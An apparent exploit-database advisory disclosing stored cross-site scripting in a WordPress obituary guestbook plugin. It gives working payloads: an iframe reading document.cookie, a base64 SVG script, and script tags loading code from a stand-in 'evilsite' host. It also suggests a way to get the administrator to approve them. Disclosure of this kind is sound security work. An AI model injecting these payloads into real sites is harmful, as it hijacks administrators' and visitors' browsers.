Author

Rob Armstrong

Risk

[

Security Risk High

]

0day-ID

0day-ID-20594

Category

web applications

Date add

02-04-2013

Platform

php

A low-privilege or guest user can inject code via the
<textareaname="photo-message">, <
textarea name="youtube-message"> and <textarea name="message"> elements
which are part of the wpfh_upload_form form in
http://site/obituaries/?id=[ID]&f=guestbook&m=add
 
Scripts injected via the "photo-message" and "youtube-message" elements
will be executed by the admin user when they browse to the guestbook admin
page at http://site/wp-admin/admin.php?page=wpfh-guestbook
 
If a malicious post is approved by the admin, the script will be run by
anyone viewing the guestbook.
 
 
 
# details
 
There appears to be some basic xss protection on form submissions using <
textarea name="message"> and code injected via this element is not served
up on the guestbook admin page.
 
Despite this, scripts injected via an iframe or embedded svg will be
executed by anyone viewing the guestbook at http://site/obituaries/?id=1&f=
guestbook on the condition that the post is approved by the site
administrator. The chances of an administrator approving a malicious
message are increased if some normal-looking text is inserted above the
malicious code, resulting in a legitimate looking "Message Preview" field
on the admin page.
 
## message post example:
 
    1. Attacker browses to:
http://site/obituaries/?id=1&f=guestbook&m=addand submits the form
with the following entered into <
textarea name="message" style="width:98%;height:170px" id="wpfh_message_
textarea"></textarea> :
 
        Poor Peter was a fine old chap, such a pity he was eaten to death
by a pack of wild children.
 
        <IFRAME SRC="javascript:document.write('xss cookie: ' +
document.cookie);"></IFRAME>
 
        <EMBED SRC="data:image/svg+xml
;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZW
NtYXNjcmlwdCI+YWxlcnQoInhzcyBhbGVydCIpPC9zY3JpcHQ+PC9zdmc+Cg==" type="image/
svg+xml" AllowScriptAccess="always"></EMBED>
 
    2. Site administrator browses to http://site/wp-admin/admin.php?page=
wpfh-guestbook, sees an entry with a message preview that reads "Poor Peter
was a fine old chap..." and approves it.
 
    3. Anyone browsing to http://site/obituaries/?id=1+&f=guestbook will
execute the injected script
 
 
 
The xss flaws in <textarea name="photo-message"> and <textarea
name="youtube-message">
are more serious, as scripts injected here are served up to the admin user
when they attempt to approve the guestbook comments at http://site/wp
-admin/admin.php?page=wpfh-guestbook
 
As with the regular guestbook messages, if the admin approves a malicious
photo or youtube message the script will be executed by anyone browsing to
the guestbook.
 
## photo/youtube post example:
 
    1. Attacker hosts malicious javascript on another site:
 
        http://evilsite/fp.js :
            document.getElementById("topmenu").innerHTML="<h1>XSS</h1>";
//rewrite admin page
 
        http://evilsite/doc.js :
            document.write("document.write XSS");alert("XSS");
 
    2. Attacker browses to:
http://site/obituaries/?id=1&f=guestbook&m=addand selects either the
"Photo" or "
Youtube" guestbook message option
 
    3. If Photo was selected, the attacker enters a path to a local image
in <input type="file" name="photo" id="wpfh_message_file">. Otherwise they
enter a Youtube link into <input type="text" name="youtube"
style="width:95%" id="wpfh_message_youtube" value="">
 
    4. Depending on which type of message was selected, the attacker
submits the form with the following entered into
<textareastyle="width:100%;height:70px" name="photo-message"></
textarea> or <textarea style="width:100%;height:70px" name="youtube
-message"></textarea> :
 
        <SCRIPT SRC=http://evilsite/fp.js></SCRIPT>
        <SCRIPT SRC=http://evilsite/doc.js></SCRIPT>
 
    5. The site administrator browses to http://site/wp-admin/admin.php
?page=wpfh-guestbook and the scripts that have been injected into <table
class="wp-list-table widefat fixed posts" cellspacing="0"> are executed:
 
        <td  style="background-color:#ffd1d1 !important" >
            <a href="http://www.youtube.com/watch?v=tsLkL8DTHeg"
target="_blank">View Video</a><br><SCRIPT SRC=http://evilsite/fp.js
></SCRIPT>
            <SCRIPT SRC=http://evilsite/doc.js></SCRIPT>
        </td>

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